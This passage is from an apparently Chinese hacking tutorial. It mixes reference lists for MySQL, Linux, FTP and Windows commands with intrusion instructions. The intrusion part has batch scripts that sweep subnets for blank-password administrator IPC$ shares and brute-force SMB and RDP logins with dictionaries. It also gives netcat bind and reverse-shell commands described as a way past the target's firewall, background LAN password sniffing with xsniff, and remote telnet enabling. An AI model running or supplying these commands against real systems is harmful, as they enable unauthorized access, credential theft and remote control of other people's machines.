增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符） &lt;br /&gt;show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。 &lt;br /&gt;use mysql；&lt;br /&gt;show tables; 显示库中的数据表 &lt;br /&gt;describe 表名; 显示数据表的结构 &lt;br /&gt;create database 库名; 建库 &lt;br /&gt;use 库名；&lt;br /&gt;create table 表名 (字段设定列表)； 建表 &lt;br /&gt;drop database 库名; &lt;br /&gt;drop table 表名； 删库和删表 &lt;br /&gt;delete from 表名; 将表中记录清空 &lt;br /&gt;select * from 表名; 显示表中的记录 &lt;br /&gt;mysqldump  --opt school&amp;gt;school.bbb  备份数据库：（命令在DOS的\\mysql\\bin目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb 是一个文本文件，文件名任取，打开看看你会有新发现。 &lt;br /&gt;win2003系统下新增命令（实用部份）： &lt;br /&gt;shutdown /参数 关闭或重启本地或远程主机。&lt;br /&gt;参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。&lt;br /&gt;例：shutdown /r /t 0 立即重启本地主机（无延时） &lt;br /&gt;taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。&lt;br /&gt;参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。 &lt;br /&gt;tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。&lt;br /&gt;参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。&lt;br /&gt;&lt;br /&gt;#6 六：&lt;br /&gt;&lt;br /&gt;Linux系统下基本命令： 要区分大小写 &lt;br /&gt;uname 显示版本信息（同win2K的 ver） &lt;br /&gt;dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir） &lt;br /&gt;pwd 查询当前所在的目录位置 &lt;br /&gt;cd cd　..回到上一层目录，注意cd 与..之间有空格。cd　/返回到根目录。 &lt;br /&gt;cat 文件名 查看文件内容 &lt;br /&gt;cat &amp;gt;abc.txt 往abc.txt文件中写上内容。 &lt;br /&gt;more 文件名 以一页一页的方式显示一个文本文件。 &lt;br /&gt;cp 复制文件 &lt;br /&gt;mv 移动文件 &lt;br /&gt;rm 文件名 删除文件，rm -a 目录名删除目录及子目录 &lt;br /&gt;mkdir 目录名 建立目录 &lt;br /&gt;rmdir 删除子目录，目录内没有文档。 &lt;br /&gt;chmod 设定档案或目录的存取权限 &lt;br /&gt;grep 在档案中查找字符串 &lt;br /&gt;diff 档案文件比较 &lt;br /&gt;find 档案搜寻 &lt;br /&gt;date 现在的日期、时间 &lt;br /&gt;who 查询目前和你使用同一台机器的人以及Login时间地点 &lt;br /&gt;w 查询目前上机者的详细资料 &lt;br /&gt;whoami 查看自己的帐号名称 &lt;br /&gt;groups 查看某人的Group &lt;br /&gt;passwd 更改密码 &lt;br /&gt;history 查看自己下过的命令 &lt;br /&gt;ps 显示进程状态 &lt;br /&gt;kill 停止某进程 &lt;br /&gt;gcc 黑客通常用它来编译C语言写的文件 &lt;br /&gt;su 权限转换为指定使用者 &lt;br /&gt;telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。 &lt;br /&gt;ftp ftp连接上某服务器（同win2K） &lt;br /&gt;&lt;br /&gt;附：批处理命令与变量&lt;br /&gt;&lt;br /&gt;1：for命令及变量 基本格式： &lt;br /&gt;FOR  /参数 %variable IN (set) DO command [command_parameters]  %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i  不等于 %I）。&lt;br /&gt;批处理每次能处理的变量从%0&amp;#8212;%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同 理：%2&amp;#8212;%9指输入的第2-9个值；例：net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2  ,user为%3&lt;br /&gt;&lt;br /&gt;(set):指定一个或一组文件，可使用通配符，如：(D:\user.txt)和(1 1 254)(1 -1  254),{ &amp;#8220;(1 1 254)&amp;#8221;第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；&amp;#8220;(1 -1  254)&amp;#8221;说明：即从254到1 }&lt;br /&gt;&lt;br /&gt;command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：&amp;amp; 来隔开&lt;br /&gt;command_parameters：为特定命令指定参数或命令行开关&lt;br /&gt;&lt;br /&gt;IN (set)：指在(set)中取值；DO command ：指执行command&lt;br /&gt;&lt;br /&gt;参数：/L 指用增量形式{ (set)为增量形式时 }；/F 指从文件中不断取值，直到取完为止{ (set)为文件时，如(d:\pass.txt)时 }。 &lt;br /&gt;用法举例： &lt;br /&gt;@echo off &lt;br /&gt;echo 用法格式：test.bat *.*.* &amp;gt; test.txt &lt;br /&gt;&lt;br /&gt;for  /L %%G in (1 1 254) do echo %1.%%G &amp;gt;&amp;gt;test.txt &amp;amp; net use  \\%1.%%G /user:administrator | find "命令成功完成" &amp;gt;&amp;gt;test.txt &lt;br /&gt;存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。&lt;br /&gt;&lt;br /&gt;/L 指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；&amp;amp;  用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G  为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。 &lt;br /&gt;@echo off &lt;br /&gt;echo 用法格式：ok.bat ip &lt;br /&gt;FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200 &lt;br /&gt;存为：ok.exe 说明：输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。&lt;br /&gt;&lt;br /&gt;#7 七：&lt;br /&gt;&lt;br /&gt;2：if命令及变量 基本格式： &lt;br /&gt;IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码，指定条件为&amp;#8220;真&amp;#8221;。&lt;br /&gt;例：IF errorlevel 0 命令 指程序执行后返回的值为0时，就值行后面的命令；IF not errorlevel 1 命令指程序执行最后返回的值不等于1，就执行后面的命令。&lt;br /&gt;0 指发现并成功执行（真）；1 指没有发现、没执行（假）。 &lt;br /&gt;IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配（即：字符串1 等于 字符串2），就执行后面的命令。&lt;br /&gt;例：&amp;#8220;if "%2%"=="4" goto start&amp;#8221;指：如果输入的第二个变量为4时，执行后面的命令（注意：调用变量时就%变量名%并加" "） &lt;br /&gt;IF [not] exist 文件名 命令语句 如果指定的文件名存在，就执行后面的命令。&lt;br /&gt;例：&amp;#8220;if not nc.exe goto end&amp;#8221;指：如果没有发现nc.exe文件就跳到":end"标签处。 &lt;br /&gt;IF  [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或  IF [not] exist 文件名 命令语句 else 命令语句 加上：else  命令语句后指：当前面的条件不成立时，就指行else后面的命令。注意：else 必须与 if 在同一行才有效。  当有del命令时需把del命令全部内容用&amp;lt; &amp;gt;括起来，因为del命令要单独一行时才能执行，用上&amp;lt;  &amp;gt;后就等于是单独一行了；例如：&amp;#8220;if exist test.txt. else echo test.txt.missing &amp;#8221;，注意命令中的&amp;#8220;.&amp;#8221; &lt;br /&gt;&lt;br /&gt;（二）系统外部命令(均需下载相关工具)：&lt;br /&gt;&lt;br /&gt;1、瑞士军刀：nc.exe&lt;br /&gt;&lt;br /&gt;参数说明： &lt;br /&gt;-h 查看帮助信息 &lt;br /&gt;-d 后台模式 &lt;br /&gt;-e prog程序重定向，一但连接就执行［危险］ &lt;br /&gt;-i secs延时的间隔 &lt;br /&gt;-l 监听模式，用于入站连接 &lt;br /&gt;-L 监听模式，连接天闭后仍然继续监听，直到CTR+C &lt;br /&gt;-n IP地址，不能用&lt;a href="http://idc.77169.com/"&gt;域名&lt;/a&gt; &lt;br /&gt;-o film记录16进制的传输 &lt;br /&gt;-p[空格]端口 本地端口号 &lt;br /&gt;-r 随机本地及远程端口 &lt;br /&gt;-t 使用Telnet交互方式 &lt;br /&gt;-u UDP模式 &lt;br /&gt;-v 详细输出，用-vv将更详细 &lt;br /&gt;-w数字 timeout延时间隔 &lt;br /&gt;-z 将输入，输出关掉（用于扫锚时） &lt;br /&gt;基本用法： &lt;br /&gt;nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口 &lt;br /&gt;nc -l -p 80 开启本机的TCP 80端口并监听 &lt;br /&gt;nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口 &lt;br /&gt;nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口 &lt;br /&gt;nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口 &lt;br /&gt;高级用法： &lt;br /&gt;nc -L -p 80 作为蜜罐用1：开启并不停地监听80端口，直到CTR+C为止 &lt;br /&gt;nc -L -p 80 &amp;gt; c:\log.txt 作为蜜罐用2：开启并不停地监听80端口，直到CTR+C,同时把结果输出到c:\log.txt &lt;br /&gt;nc -L -p 80 &amp;lt; c:\honeyport.txt 作为蜜罐用3-1：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中，亦可起到传送文件作用 &lt;br /&gt;type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用 &lt;br /&gt;本机上用：nc -l -p 本机端口 &lt;br /&gt;在对方主机上用：nc -e cmd.exe 本机IP -p 本机端口 *win2K&lt;br /&gt;nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 &lt;br /&gt;本机上用：nc -d -l -p 本机端口 &amp;lt; 要传送的文件路径及名称 &lt;br /&gt;在对方主机上用：nc -vv 本机IP 本机端口 &amp;gt; 存放文件的路径及名称 传送文件到对方主机 &lt;br /&gt;备 注： &lt;br /&gt;| 管道命令 &lt;br /&gt;&amp;lt; 或 &amp;gt; 重定向命令。&amp;#8220;&amp;lt;&amp;#8221;，例如：tlntadmn &amp;lt; test.txt 指把test.txt的内容赋值给tlntadmn命令 &lt;br /&gt;＠ 表示执行＠后面的命令，但不会显示出来（后台执行）；例：＠dir c:\winnt &amp;gt;&amp;gt; d:\log.txt 意思是：后台执行dir，并把结果存在d:\log.txt中 &lt;br /&gt;&amp;gt;与&amp;gt;&amp;gt;的区别 　"&amp;gt;"指：覆盖；"&amp;gt;&amp;gt;"指：保存到(添加到）。&lt;br /&gt;如：@dir  c:\winnt &amp;gt;&amp;gt; d:\log.txt和@dir c:\winnt &amp;gt;  d:\log.txt二个命令分别执行二次比较看：用&amp;gt;&amp;gt;的则是把二次的结果都保存了，而用：&amp;gt;则只有一次的结果，是因为第二次的结果 把第一次的覆盖了。&lt;br /&gt;&lt;br /&gt;#8 八：&lt;br /&gt;&lt;br /&gt;2、扫锚工具：xscan.exe&lt;br /&gt;&lt;br /&gt;基本格式 &lt;br /&gt;xscan -host &amp;lt;起始IP&amp;gt;[-&amp;lt;终止IP&amp;gt;] &amp;lt;检测项目&amp;gt; [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息 &lt;br /&gt;xscan -file &amp;lt;主机列表文件名&amp;gt; &amp;lt;检测项目&amp;gt; [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息 &lt;br /&gt;检测项目 &lt;br /&gt;-active 检测主机是否存活 &lt;br /&gt;-os 检测远程操作系统类型（通过NETBIOS和SNMP协议） &lt;br /&gt;-port 检测常用服务的端口状态 &lt;br /&gt;-ftp 检测FTP弱口令 &lt;br /&gt;-pub 检测FTP服务匿名用户写权限 &lt;br /&gt;-pop3 检测POP3-Server弱口令 &lt;br /&gt;-smtp 检测SMTP-Server漏洞 &lt;br /&gt;-sql 检测SQL-Server弱口令 &lt;br /&gt;-smb 检测NT-Server弱口令 &lt;br /&gt;-iis 检测IIS编码/解码漏洞 &lt;br /&gt;-cgi 检测CGI漏洞 &lt;br /&gt;-nasl 加载Nessus攻击脚本 &lt;br /&gt;-all 检测以上所有项目 &lt;br /&gt;其它选项 &lt;br /&gt;-i 适配器编号 设置网络适配器, &amp;lt;适配器编号&amp;gt;可通过"-l"参数获取 &lt;br /&gt;-l 显示所有网络适配器 &lt;br /&gt;-v 显示详细扫描进度 &lt;br /&gt;-p 跳过没有响应的主机 &lt;br /&gt;-o 跳过没有检测到开放端口的主机 &lt;br /&gt;　 -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10 &lt;br /&gt;-log 文件名 指定扫描报告文件名 (后缀为：TXT或HTML格式的文件) &lt;br /&gt;用法示例 &lt;br /&gt;xscan -host 192.168.1.1-192.168.255.255 -all -active -p　 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞，跳过无响应的主机 &lt;br /&gt;xscan  -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o  检测192.168.1.1-192.168.255.255网段内主机的标准端口状态，NT弱口令用户，最大并发线程数量为150，跳过没有检测到开放 端口的主机 &lt;br /&gt;xscan -file hostlist.txt -port -cgi -t 200,5 -v -o  检测&amp;#8220;hostlist.txt&amp;#8221;文件中列出的所有主机的标准端口状态，CGI漏洞，最大并发线程数量为200，同一时刻最多检测5台主机，显示详细检测 进度，跳过没有检测到开放端口的主机&lt;br /&gt;&lt;br /&gt;#9 九：&lt;br /&gt;&lt;br /&gt;3、命令行方式嗅探器: xsniff.exe&lt;br /&gt;可捕获局域网内FTP/SMTP/POP3/HTTP协议密码&lt;br /&gt;参数说明 &lt;br /&gt;-tcp 输出TCP数据报 &lt;br /&gt;-udp 输出UDP数据报 &lt;br /&gt;-icmp 输出ICMP数据报 &lt;br /&gt;-pass 过滤密码信息 &lt;br /&gt;-hide 后台运行 &lt;br /&gt;-host 解析主机名 &lt;br /&gt;-addr IP地址 过滤IP地址 &lt;br /&gt;-port 端口 过滤端口 &lt;br /&gt;-log 文件名 将输出保存到文件 &lt;br /&gt;-asc 以ASCII形式输出 &lt;br /&gt;-hex 以16进制形式输出 &lt;br /&gt;用法示例 &lt;br /&gt;xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中 &lt;br /&gt;xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出 &lt;br /&gt;&lt;br /&gt;4、终端服务密码破解: tscrack.exe&lt;br /&gt;&lt;br /&gt;参数说明 &lt;br /&gt;-h 显示使用帮助 &lt;br /&gt;-v 显示版本信息 &lt;br /&gt;-s 在屏幕上打出解密能力 &lt;br /&gt;-b 密码错误时发出的声音 &lt;br /&gt;-t 同是发出多个连接（多线程） &lt;br /&gt;-N Prevent System Log entries on targeted server &lt;br /&gt;-U 卸载移除tscrack组件 &lt;br /&gt;-f 使用－f后面的密码 &lt;br /&gt;-F 间隔时间（频率） &lt;br /&gt;-l 使用－l后面的用户名 &lt;br /&gt;-w 使用－w后面的密码字典 &lt;br /&gt;-p 使用－p后面的密码 &lt;br /&gt;-D 登录主页面 &lt;br /&gt;用法示例 &lt;br /&gt;tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码 &lt;br /&gt;tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户 &lt;br /&gt;@if not exist ipcscan.txt goto noscan &lt;br /&gt;@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i &lt;br /&gt;nscan &lt;br /&gt;@echo 3389.txt no find or scan faild &lt;br /&gt;(&amp;#9312;存为3389.bat) （假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt) &lt;br /&gt;3389.bat意思是：从3389.txt文件中取一个IP，接着运行hack.bat &lt;br /&gt;@if not exist tscrack.exe goto noscan &lt;br /&gt;@tscrack %1 -l administrator -w pass.dic &amp;gt;&amp;gt;rouji.txt &lt;br /&gt;:noscan &lt;br /&gt;@echo tscrack.exe no find or scan faild &lt;br /&gt;(&amp;#9313;存为hack.bat) (运行3389.bat就OK，且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下；就可以等待结果了) &lt;br /&gt;hack.bat意思是：运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码，并将破解结果保存在rouji.txt文件中。 &lt;br /&gt;&lt;br /&gt;5、其它：&lt;br /&gt;&lt;br /&gt;Shutdown.exe &lt;br /&gt;Shutdown \\IP地址 t:20 20秒后将对方NT自动关闭（Windows 2003系统自带工具，在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。） &lt;br /&gt;fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明（端口重定向绕过防火墙） &lt;br /&gt;fpipe -l 80 -s 1029 -r 80 &lt;a href="http://www.sina.com.cn/" target="_blank"&gt;&lt;u&gt;www.sina.com.cn&lt;/u&gt;&lt;/a&gt; 当有人扫锚你的80端口时，他扫到的结果会完全是&lt;a href="http://www.sina.com.cn/" target="_blank"&gt;&lt;u&gt;www.sina.com.cn&lt;/u&gt;&lt;/a&gt;的主机信息 &lt;br /&gt;Fpipe  -l 23 -s 88 -r 23 目标IP  把本机向目标IP发送的23端口Telnet请求经端口重定向后，就通过88端口发送到目标IP的23端口。（与目标IP建立Telnet时本机就用的 88端口与其相连接）然后：直接Telnet 127.0.0.1（本机IP）就连接到目标IP的23端口了。 &lt;br /&gt;OpenTelnet.exe (远程开启telnet工具) &lt;br /&gt;opentelnet.exe \\IP 帐号　密码　ntlm认证方式　Telnet端口 （不需要上传ntlm.exe破坏微软的身份验证方式）直接远程开启对方的telnet服务后，就可用telnet \\ip 连接上对方。&lt;br /&gt;NTLM认证方式：０：不使用NTLM身份验证；１：先尝试NTLM身份验证，如果失败，再使用用户名和密码；２：只使用NTLM身份验证。&lt;br /&gt;&lt;br /&gt;ResumeTelnet.exe (OpenTelnet附带的另一个工具) &lt;br /&gt;resumetelnet.exe \\IP　帐号　密码 用Telnet连接完对方后，就用这个命令将对方的Telnet设置还原，并同时关闭Telnet服务。&lt;br /&gt;&lt;br /&gt;#10 十：&lt;br /&gt;&lt;br /&gt;6、FTP命令详解：&lt;br /&gt;&lt;br /&gt;FTP命令是Internet用户使用最频繁的命令之一，熟悉并灵活应用FTP的内部命令，可以大大方便使用者，并收到事半功倍之效。如果你想学习使用进行后台FTP下载，那么就必须学习FTP指令。&lt;br /&gt;&lt;br /&gt;FTP的命令行格式为： &lt;br /&gt;ftp -v -d -i -n -g [主机名] ，其中&lt;br /&gt;&lt;br /&gt;-v 显示远程服务器的所有响应信息；&lt;br /&gt;&lt;br /&gt;-n 限制ftp的自动登录，即不使用；.n etrc文件；&lt;br /&gt;&lt;br /&gt;-d 使用调试方式；&lt;br /&gt;&lt;br /&gt;-g 取消全局文件名。&lt;br /&gt;&lt;br /&gt;FTP使用的内部命令如下(中括号表示可选项):&lt;br /&gt;&lt;br /&gt;1.![cmd[args]]：在本地机中执行交互shell，exit回到ftp环境，如：!ls*.zip &lt;br /&gt;2.$ macro-ame[args]： 执行宏定义macro-name。&lt;br /&gt;&lt;br /&gt;3.account[password]： 提供登录远程系统成功后访问系统资源所需的补充口令。 &lt;br /&gt;4.append local-file[remote-file]：将本地文件追加到远程系统主机，若未指定远程系统文件名，则使用本地文件名。&lt;br /&gt;&lt;br /&gt;5.ascii：使用ascii类型传输方式。&lt;br /&gt;6.bell：每个命令执行完毕后计算机响铃一次。&lt;br /&gt;&lt;br /&gt;7.bin：使用二进制文件传输方式。&lt;br /&gt;8.bye：退出ftp会话过程。&lt;br /&gt;&lt;br /&gt;9.case：在使用mget时，将远程主机文件名中的大写转为小写字母。 &lt;br /&gt;10.cd remote-dir：进入远程主机目录。&lt;br /&gt;&lt;br /&gt;11.cdup：进入远程主机目录的父目录。 &lt;br /&gt;12.chmod mode file-name：将远程主机文件file-name的存取方式设置为mode，如：chmod 777 a.out。&lt;br /&gt;&lt;br /&gt;13.close：中断与远程服务器的ftp会话(与open对应)。 &lt;br /&gt;14.cr：使用asscii方式传输文件时，将回车换行转换为回行。&lt;br /&gt;&lt;br /&gt;15.delete remote-file：删除远程主机文件。 &lt;br /&gt;16.debug[debug-value]：设置调试方式， 显示发送至远程主机的每条命令，如：deb up 3，若设为0，表示取消debug。&lt;br /&gt;&lt;br /&gt;17.dir[remote-dir][local-file]：显示远程主机目录，并将结果存入本地文件。 &lt;br /&gt;18.disconnection：同close。&lt;br /&gt;&lt;br /&gt;19.form format：将文件传输方式设置为format，缺省为file方式。 &lt;br /&gt;20.get remote-file[local-file]： 将远程主机的文件remote-file传至本地硬盘的local-file。&lt;br /&gt;&lt;br /&gt;21.glob：设置mdelete，mget，mput的文件名扩展，缺省时不扩展文件名，同命令行的-g参数。 &lt;br /&gt;22.hash：每传输1024字节，显示一个hash符号(#)。&lt;br /&gt;&lt;br /&gt;23.help[cmd]：显示ftp内部命令cmd的帮助信息，如：help get。 &lt;br /&gt;24.idle[seconds]：将远程服务器的休眠计时器设为[seconds]秒。&lt;br /&gt;&lt;br /&gt;25.image：设置二进制传输方式(同binary)。 &lt;br /&gt;26.lcd[dir]：将本地工作目录切换至dir。&lt;br /&gt;&lt;br /&gt;27.ls[remote-dir][local-file]：显示远程目录remote-dir， 并存入本地文件local-file。 &lt;br /&gt;28.macdef macro-name：定义一个宏，遇到macdef下的空行时，宏定义结束。&lt;br /&gt;&lt;br /&gt;29.mdelete[remote-file]：删除远程主机文件。 &lt;br /&gt;30.mdir remote-files local-file：与dir类似，但可指定多个远程文件，如 ：mdir *.o.*.zipoutfile 。&lt;br /&gt;&lt;br /&gt;31.mget remote-files：传输多个远程文件。 &lt;br /&gt;32.mkdir dir-name：在远程主机中建一目录。&lt;br /&gt;&lt;br /&gt;33.mls remote-file local-file：同nlist，但可指定多个文件名。 &lt;br /&gt;34.mode[modename]：将文件传输方式设置为modename， 缺省为stream方式。&lt;br /&gt;&lt;br /&gt;35.modtime file-name：显示远程主机文件的最后修改时间。 &lt;br /&gt;36.mput local-file：将多个文件传输至远程主机。&lt;br /&gt;&lt;br /&gt;37.newer file-name： 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近，则重传该文件。&lt;br /&gt;38.nlist[remote-dir][local-file]：显示远程主机目录的文件清单，并存入本地硬盘的local-file。&lt;br /&gt;&lt;br /&gt;39.nmap[inpattern  outpattern]：设置文件名映射机制， 使得文件传输时，文件中的某些字符相互转换， 如：nmap  $1.$2.$3[$1，$2].[$2，$3]，则传输文件a1.a2.a3时，文件名变为a1，a2。  该命令特别适用于远程主机为非UNIX机的情况。&lt;br /&gt;40.ntrans[inchars[outchars]]：设置文件名字符的翻译机制，如ntrans1R，则文件名LLL将变为RRR。&lt;br /&gt;&lt;br /&gt;41.open host[port]：建立指定ftp服务器连接，可指定连接端口。 &lt;br /&gt;42.passive：进入被动传输方式。&lt;br /&gt;&lt;br /&gt;43.prompt：设置多个文件传输时的交互提示。 &lt;br /&gt;44.proxy ftp-cmd：在次要控制连接中，执行一条ftp命令， 该命令允许连接两个ftp服务器，以在两个服务器间传输文件。第一条ftp命令必须为open，以首先建立两个服务器间的连接。&lt;br /&gt;45.put local-file[remote-file]：将本地文件local-file传送至远程主机。 &lt;br /&gt;46.pwd：显示远程主机的当前工作目录。&lt;br /&gt;&lt;br /&gt;47.quit：同bye，退出ftp会话。 &lt;br /&gt;48.quote arg1，arg2...：将参数逐字发至远程ftp服务器，如：quote syst.&lt;br /&gt;&lt;br /&gt;49.recv remote-file[local-file]：同get。 &lt;br /&gt;50.reget remote-file[local-file]：类似于get， 但若local-file存在，则从上次传输中断处续传。&lt;br /&gt;&lt;br /&gt;51.rhelp[cmd-name]：请求获得远程主机的帮助。 &lt;br /&gt;52.rstatus[file-name]：若未指定文件名，则显示远程主机的状态， 否则显示文件状态。&lt;br /&gt;&lt;br /&gt;53.rename[from][to]：更改远程主机文件名。 &lt;br /&gt;54.reset：清除回答队列。&lt;br /&gt;&lt;br /&gt;55.restart marker：从指定的标志marker处，重新开始get或put，如：restart 130。 &lt;br /&gt;56.rmdir dir-name：删除远程主机目录。&lt;br /&gt;&lt;br /&gt;57.runique：设置文件名只一性存储，若文件存在，则在原文件后加后缀.1， .2等。 &lt;br /&gt;58.send local-file[remote-file]：同put。&lt;br /&gt;&lt;br /&gt;59.sendport：设置PORT命令的使用。 &lt;br /&gt;60.site arg1，arg2...：将参数作为SITE命令逐字发送至远程ftp主机。&lt;br /&gt;&lt;br /&gt;61.size file-name：显示远程主机文件大小，如：site idle 7200。 &lt;br /&gt;62.status：显示当前ftp状态。&lt;br /&gt;&lt;br /&gt;63.struct[struct-name]：将文件传输结构设置为struct-name， 缺省时使用stream结构。 &lt;br /&gt;64.sunique：将远程主机文件名存储设置为只一(与runique对应)。&lt;br /&gt;&lt;br /&gt;65.system：显示远程主机的操作系统类型。 &lt;br /&gt;66.tenex：将文件传输类型设置为TENEX机的所需的类型。&lt;br /&gt;&lt;br /&gt;67.tick：设置传输时的字节计数器。 &lt;br /&gt;68.trace：设置包跟踪。&lt;br /&gt;&lt;br /&gt;69.type[type-name]：设置文件传输类型为type-name，缺省为ascii，如:type binary，设置二进制传输方式。 &lt;br /&gt;70.umask[newmask]：将远程服务器的缺省umask设置为newmask，如：umask 3&lt;br /&gt;&lt;br /&gt;71.user user-name[password][account]：向远程主机表明自己的身份，需要口令时，必须输入口令，如：user anonymous my@email。 &lt;br /&gt;72.verbose：同命令行的-v参数，即设置详尽报告方式，ftp 服务器的所有响 应都将显示给用户，缺省为on.&lt;br /&gt;&lt;br /&gt;73.?[cmd]：同help.&lt;br /&gt;&lt;br /&gt;#11 十一：&lt;br /&gt;&lt;br /&gt;7：计算机运行命令全集 winver---------检查Windows版本&lt;br /&gt;wmimgmt.msc----打开windows管理体系结构&lt;br /&gt;wupdmgr--------windows更新程序&lt;br /&gt;winver---------检查Windows版本&lt;br /&gt;wmimgmt.msc----打开windows管理体系结构&lt;br /&gt;wupdmgr--------windows更新程序&lt;br /&gt;wscript--------windows脚本宿主设置&lt;br /&gt;write----------写字板winmsd-----系统信息&lt;br /&gt;wiaacmgr-------扫描仪和照相机向导&lt;br /&gt;winchat--------XP自带局域网聊天&lt;br /&gt;mem.exe--------显示内存使用情况&lt;br /&gt;Msconfig.exe---系统配置实用程序 &lt;br /&gt;mplayer2-------简易widnows media player&lt;br /&gt;mspaint--------画图板&lt;br /&gt;mstsc----------远程桌面连接&lt;br /&gt;mplayer2-------媒体播放机&lt;br /&gt;magnify--------放大镜实用程序&lt;br /&gt;mmc------------打开控制台&lt;br /&gt;mobsync--------同步命令&lt;br /&gt;dxdiag---------检查DirectX信息&lt;br /&gt;drwtsn32------ 系统医生&lt;br /&gt;devmgmt.msc--- 设备管理器&lt;br /&gt;dfrg.msc-------磁盘碎片整理程序&lt;br /&gt;diskmgmt.msc---磁盘管理实用程序&lt;br /&gt;dcomcnfg-------打开系统组件服务&lt;br /&gt;ddeshare-------打开DDE共享设置&lt;br /&gt;dvdplay--------DVD播放器&lt;br /&gt;net stop messenger-----停止信使服务&lt;br /&gt;net start messenger----开始信使服务 &lt;br /&gt;notepad--------打开记事本&lt;br /&gt;nslookup-------网络管理的工具向导&lt;br /&gt;ntbackup-------系统备份和还原&lt;br /&gt;narrator-------屏幕"讲述人"&lt;br /&gt;ntmsmgr.msc----移动存储管理器&lt;br /&gt;ntmsoprq.msc---移动存储管理员操作请求&lt;br /&gt;netstat -an----(TC)命令检查接口&lt;br /&gt;syncapp--------创建一个公文包&lt;br /&gt;sysedit--------系统配置编辑器&lt;br /&gt;sigverif-------文件签名验证程序&lt;br /&gt;sndrec32-------录音机&lt;br /&gt;shrpubw--------创建共享文件夹&lt;br /&gt;secpol.msc-----本地安全策略&lt;br /&gt;syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码&lt;br /&gt;services.msc---本地服务设置&lt;br /&gt;Sndvol32-------音量控制程序&lt;br /&gt;sfc.exe--------系统文件检查器&lt;br /&gt;sfc /scannow---windows文件保护&lt;br /&gt;tsshutdn-------60秒倒计时关机命令&lt;br /&gt;tourstart------xp简介（安装完成后出现的漫游xp程序）&lt;br /&gt;taskmgr--------任务管理器&lt;br /&gt;eventvwr-------事件查看器&lt;br /&gt;eudcedit-------造字程序 &lt;br /&gt;explorer-------打开资源管理器&lt;br /&gt;packager-------对象包装程序&lt;br /&gt;perfmon.msc----计算机性能监测程序&lt;br /&gt;progman--------程序管理器&lt;br /&gt;regedit.exe----注册表 &lt;br /&gt;rsop.msc-------组策略结果集&lt;br /&gt;regedt32-------注册表编辑器&lt;br /&gt;rononce -p ----15秒关机&lt;br /&gt;regsvr32 /u *.dll----停止dll文件运行&lt;br /&gt;regsvr32 /u zipfldr.dll------取消ZIP支持&lt;br /&gt;cmd.exe--------CMD命令提示符&lt;br /&gt;chkdsk.exe-----Chkdsk磁盘检查&lt;br /&gt;certmgr.msc----证书管理实用程序&lt;br /&gt;calc-----------启动计算器&lt;br /&gt;charmap--------启动字符映射表&lt;br /&gt;cliconfg-------SQL SERVER 